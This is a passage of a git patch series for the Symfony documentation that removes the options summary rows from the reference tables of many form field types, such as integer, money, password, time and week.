-|           | - `label_format`_                                                  |
-|           | - `mapped`_                                                        |
-|           | - `method`_                                                        |
-|           | - `post_max_size_message`_                                         |
-|           | - `property_path`_                                                 |
-|           | - `required`_                                                      |
-|           | - `trim`_                                                          |
-|           | - `validation_groups`_                                             |
-+-----------+--------------------------------------------------------------------+
-| Inherited | - `attr`_                                                          |
-| options   | - `auto_initialize`_                                               |
-|           | - `block_name`_                                                    |
-|           | - `block_prefix`_                                                  |
-|           | - `disabled`_                                                      |
-|           | - `label`_                                                         |
-|           | - `row_attr`_                                                      |
-|           | - `translation_domain`_                                            |
-|           | - `label_translation_parameters`_                                  |
-|           | - `attr_translation_parameters`_                                   |
 +-----------+--------------------------------------------------------------------+
 | Parent    | none                                                               |
 +-----------+--------------------------------------------------------------------+
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index 1a74e107555..cd9968cd6a8 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -9,18 +9,6 @@ The hidden type represents a hidden input field.
 +-------------+----------------------------------------------------------------------+
 | Rendered as | ``input`` ``hidden`` field                                           |
 +-------------+----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                        |
-| options     | - `error_bubbling`_                                                  |
-|             | - `required`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `data`_                                                            |
-|             | - `empty_data`_                                                      |
-|             | - `error_mapping`_                                                   |
-|             | - `mapped`_                                                          |
-|             | - `property_path`_                                                   |
-|             | - `row_attr`_                                                        |
-+-------------+----------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                        |
 +-------------+----------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` |
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index d228f4f8145..8ac061ebf7d 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -16,30 +16,6 @@ integers. By default, all non-integer values (e.g. 6.78) will round down
 +-------------+-----------------------------------------------------------------------+
 | Rendered as | ``input`` ``number`` field                                            |
 +-------------+-----------------------------------------------------------------------+
-| Options     | - `grouping`_                                                         |
-|             | - `rounding_mode`_                                                    |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                         |
-| options     | - `scale`_                                                            |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                             |
-| options     | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `invalid_message`_                                                  |
-|             | - `invalid_message_parameters`_                                       |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                         |
 +-------------+-----------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` |
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index c3e47bb7b0c..25a0f294c94 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -23,38 +23,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `alpha3`_                                                            |
-|             | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` |
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 385cc4f6fd8..af9dc14be31 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -24,37 +24,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType`   |
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 9fd1d4a95f4..6cc6e276517 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -14,33 +14,6 @@ how the input and output of the data is handled.
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``text`` field                                            |
 +-------------+---------------------------------------------------------------------+
-| Options     | - `currency`_                                                       |
-|             | - `divisor`_                                                        |
-|             | - `grouping`_                                                       |
-|             | - `rounding_mode`_                                                  |
-|             | - `scale`_                                                          |
-+-------------+---------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                       |
-| options     |                                                                     |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `invalid_message`_                                                |
-|             | - `invalid_message_parameters`_                                     |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                       |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` |
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 6e9215c276a..c1459d4d3a6 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -11,33 +11,6 @@ that you want to use for your number.
 +-------------+----------------------------------------------------------------------+
 | Rendered as | ``input`` ``text`` field                                             |
 +-------------+----------------------------------------------------------------------+
-| Options     | - `grouping`_                                                        |
-|             | - `html5`_                                                           |
-|             | - `input`_                                                           |
-|             | - `scale`_                                                           |
-|             | - `rounding_mode`_                                                   |
-+-------------+----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                        |
-| options     |                                                                      |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `data`_                                                            |
-|             | - `disabled`_                                                        |
-|             | - `empty_data`_                                                      |
-|             | - `error_bubbling`_                                                  |
-|             | - `error_mapping`_                                                   |
-|             | - `help`_                                                            |
-|             | - `help_attr`_                                                       |
-|             | - `help_html`_                                                       |
-|             | - `invalid_message`_                                                 |
-|             | - `invalid_message_parameters`_                                      |
-|             | - `label`_                                                           |
-|             | - `label_attr`_                                                      |
-|             | - `label_format`_                                                    |
-|             | - `mapped`_                                                          |
-|             | - `required`_                                                        |
-|             | - `row_attr`_                                                        |
-+-------------+----------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                        |
 +-------------+----------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` |
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 37acff1a616..9fc067c03c9 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -9,26 +9,6 @@ The ``PasswordType`` field renders an input password text box.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | ``input`` ``password`` field                                           |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `always_empty`_                                                      |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `trim`_                                                              |
-| options     |                                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                          |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` |
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index b6a516fffc0..549403bc89f 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -15,31 +15,6 @@ the input.
 +-------------+-----------------------------------------------------------------------+
 | Rendered as | ``input`` ``text`` field                                              |
 +-------------+-----------------------------------------------------------------------+
-| Options     | - `scale`_                                                            |
-|             | - `symbol`_                                                           |
-|             | - `type`_                                                             |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                         |
-| options     |                                                                       |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                             |
-| options     | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `invalid_message`_                                                  |
-|             | - `invalid_message_parameters`_                                       |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                         |
 +-------------+-----------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` |
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index ae0d58d2fe4..3a50f571d91 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -16,28 +16,6 @@ If you want to have a boolean field, use :doc:`CheckboxType </reference/forms/ty
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``radio`` field                                           |
 +-------------+---------------------------------------------------------------------+
-| Inherited   | from the :doc:`CheckboxType </reference/forms/types/checkbox>`:     |
-| options     |                                                                     |
-|             | - `value`_                                                          |
-|             |                                                                     |
-|             | from the :doc:`FormType </reference/forms/types/form>`:             |
-|             |                                                                     |
-|             | - `attr`_                                                           |
-|             | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` |
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index 02817682bcb..c13f7730bb6 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -10,22 +10,6 @@ The ``RangeType`` field is a slider that is rendered using the HTML5
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``range`` field (slider in HTML5 supported browser)       |
 +-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                       |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` |
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index c78e6cc318e..592ec1c14d9 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -12,27 +12,6 @@ accuracy.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | input ``text`` field by default, but see `type`_ option                |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `first_name`_                                                        |
-|             | - `first_options`_                                                     |
-|             | - `options`_                                                           |
-|             | - `second_name`_                                                       |
-|             | - `second_options`_                                                    |
-|             | - `type`_                                                              |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `error_bubbling`_                                                    |
-| options     |                                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `invalid_message`_                                                   |
-|             | - `invalid_message_parameters`_                                        |
-|             | - `mapped`_                                                            |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                          |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` |
diff --git a/reference/forms/types/reset.rst b/reference/forms/types/reset.rst
index 914e4dfb428..6fd9b99d7fb 100644
--- a/reference/forms/types/reset.rst
+++ b/reference/forms/types/reset.rst
@@ -9,14 +9,6 @@ A button that resets all fields to their original values.
 +----------------------+---------------------------------------------------------------------+
 | Rendered as          | ``input`` ``reset`` tag                                             |
 +----------------------+---------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                           |
-| options              | - `attr_translation_parameters`_                                    |
-|                      | - `disabled`_                                                       |
-|                      | - `label`_                                                          |
-|                      | - `label_translation_parameters`_                                   |
-|                      | - `row_attr`_                                                       |
-|                      | - `translation_domain`_                                             |
-+----------------------+---------------------------------------------------------------------+
 | Parent type          | :doc:`ButtonType </reference/forms/types/button>`                   |
 +----------------------+---------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ResetType` |
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index e0f8233aa5b..586628559de 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -12,22 +12,6 @@ Read about the input search field at `DiveIntoHTML5.info`_
 +-------------+----------------------------------------------------------------------+
 | Rendered as | ``input search`` field                                               |
 +-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `disabled`_                                                        |
-|             | - `empty_data`_                                                      |
-|             | - `error_bubbling`_                                                  |
-|             | - `error_mapping`_                                                   |
-|             | - `help`_                                                            |
-|             | - `help_attr`_                                                       |
-|             | - `help_html`_                                                       |
-|             | - `label`_                                                           |
-|             | - `label_attr`_                                                      |
-|             | - `label_format`_                                                    |
-|             | - `mapped`_                                                          |
-|             | - `required`_                                                        |
-|             | - `row_attr`_                                                        |
-|             | - `trim`_                                                            |
-+-------------+----------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                        |
 +-------------+----------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` |
diff --git a/reference/forms/types/submit.rst b/reference/forms/types/submit.rst
index 2743a447760..911ceb58eca 100644
--- a/reference/forms/types/submit.rst
+++ b/reference/forms/types/submit.rst
@@ -9,18 +9,6 @@ A submit button.
 +----------------------+----------------------------------------------------------------------+
 | Rendered as          | ``button`` ``submit`` tag                                            |
 +----------------------+----------------------------------------------------------------------+
-| Options              | - `validate`_                                                        |
-+----------------------+----------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                            |
-| options              | - `attr_translation_parameters`_                                     |
-|                      | - `disabled`_                                                        |
-|                      | - `label`_                                                           |
-|                      | - `label_format`_                                                    |
-|                      | - `label_translation_parameters`_                                    |
-|                      | - `row_attr`_                                                        |
-|                      | - `translation_domain`_                                              |
-|                      | - `validation_groups`_                                               |
-+----------------------+----------------------------------------------------------------------+
 | Parent type          | :doc:`ButtonType </reference/forms/types/button>`                    |
 +----------------------+----------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SubmitType` |
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index f6c19391ada..f2f79adfe5a 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -16,23 +16,6 @@ to input phone numbers.
 +-------------+---------------------------------------------------------------------+
 | Rendered as | ``input`` ``tel`` field (a text box)                                |
 +-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                       |
 +-------------+---------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType`   |
diff --git a/reference/forms/types/text.rst b/reference/forms/types/text.rst
index a12af8e778f..c7002a79a08 100644
--- a/reference/forms/types/text.rst
+++ b/reference/forms/types/text.rst
@@ -9,26 +9,6 @@ The TextType field represents the most basic input text field.
 +-------------+--------------------------------------------------------------------+
 | Rendered as | ``input`` ``text`` field                                           |
 +-------------+--------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                          |
-| options     | - `data`_                                                          |
-|             | - `disabled`_                                                      |
-|             | - `empty_data`_                                                    |
-|             | - `error_bubbling`_                                                |
-|             | - `error_mapping`_                                                 |
-|             | - `help`_                                                          |
-|             | - `help_attr`_                                                     |
-|             | - `help_html`_                                                     |
-|             | - `label`_                                                         |
-|             | - `label_attr`_                                                    |
-|             | - `label_format`_                                                  |
-|             | - `mapped`_                                                        |
-|             | - `required`_                                                      |
-|             | - `row_attr`_                                                      |
-|             | - `trim`_                                                          |
-+-------------+--------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                      |
-| options     |                                                                    |
-+-------------+--------------------------------------------------------------------+
 | Parent type | :doc:`FormType </reference/forms/types/form>`                      |
 +-------------+--------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TextType` |
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 8a28262aec6..a0e1dde7d9a 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -9,23 +9,6 @@ Renders a ``textarea`` HTML element.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | ``textarea`` tag                                                       |
 +-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-|             | - `trim`_                                                              |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                          |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TextareaType` |
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index ee457813f88..5d2c6276f98 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -15,39 +15,6 @@ stored as a ``DateTime`` object, a string, a timestamp or an array.
 +----------------------+-----------------------------------------------------------------------------+
 | Rendered as          | can be various tags (see below)                                             |
 +----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `placeholder`_                                                            |
-|                      | - `hours`_                                                                  |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `minutes`_                                                                |
-|                      | - `model_timezone`_                                                         |
-|                      | - `reference_date`_                                                         |
-|                      | - `seconds`_                                                                |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `with_minutes`_                                                           |
-|                      | - `with_seconds`_                                                           |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `error_mapping`_                                                          |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
 | Parent type          | FormType                                                                    |
 +----------------------+-----------------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType`          |
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 9458e3a7d1a..4eab5421e57 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -17,39 +17,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +-------------+------------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
 +-------------+------------------------------------------------------------------------+
-| Options     | - `input`_                                                             |
-|             | - `intl`_                                                              |
-|             | - `regions`_                                                           |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +-------------+------------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimezoneType` |
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index a03f1532021..a4cc411f1e0 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -11,25 +11,6 @@ have a protocol.
 +-------------+-------------------------------------------------------------------+
 | Rendered as | ``input url`` field                                               |
 +-------------+-------------------------------------------------------------------+
-| Options     | - `default_protocol`_                                             |
-+-------------+-------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                         |
-| options     | - `data`_                                                         |
-|             | - `disabled`_                                                     |
-|             | - `empty_data`_                                                   |
-|             | - `error_bubbling`_                                               |
-|             | - `error_mapping`_                                                |
-|             | - `help`_                                                         |
-|             | - `help_attr`_                                                    |
-|             | - `help_html`_                                                    |
-|             | - `label`_                                                        |
-|             | - `label_attr`_                                                   |
-|             | - `label_format`_                                                 |
-|             | - `mapped`_                                                       |
-|             | - `required`_                                                     |
-|             | - `row_attr`_                                                     |
-|             | - `trim`_                                                         |
-+-------------+-------------------------------------------------------------------+
 | Parent type | :doc:`TextType </reference/forms/types/text>`                     |
 +-------------+-------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UrlType` |
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index b0fcd20dccf..adbae2e904c 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -19,30 +19,6 @@ the data can be a string or an array.
 +----------------------+-----------------------------------------------------------------------------+
 | Rendered as          | single text box, two text boxes or two select fields                        |
 +----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `placeholder`_                                                            |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `widget`_                                                                 |
-|                      | - `weeks`_                                                                  |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `compound`_                                                               |
-|                      | - `empty_data`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
 | Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
 +----------------------+-----------------------------------------------------------------------------+
 | Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\WeekType`          |

From ce9e9956b438f29e468524a86f83f30cc9de28bc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Nov 2021 12:07:34 +0100
Subject: [PATCH 1312/5766] Remove the repeated options in Color form type

---
 reference/forms/types/color.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index e31747d4457..b9119039115 100644
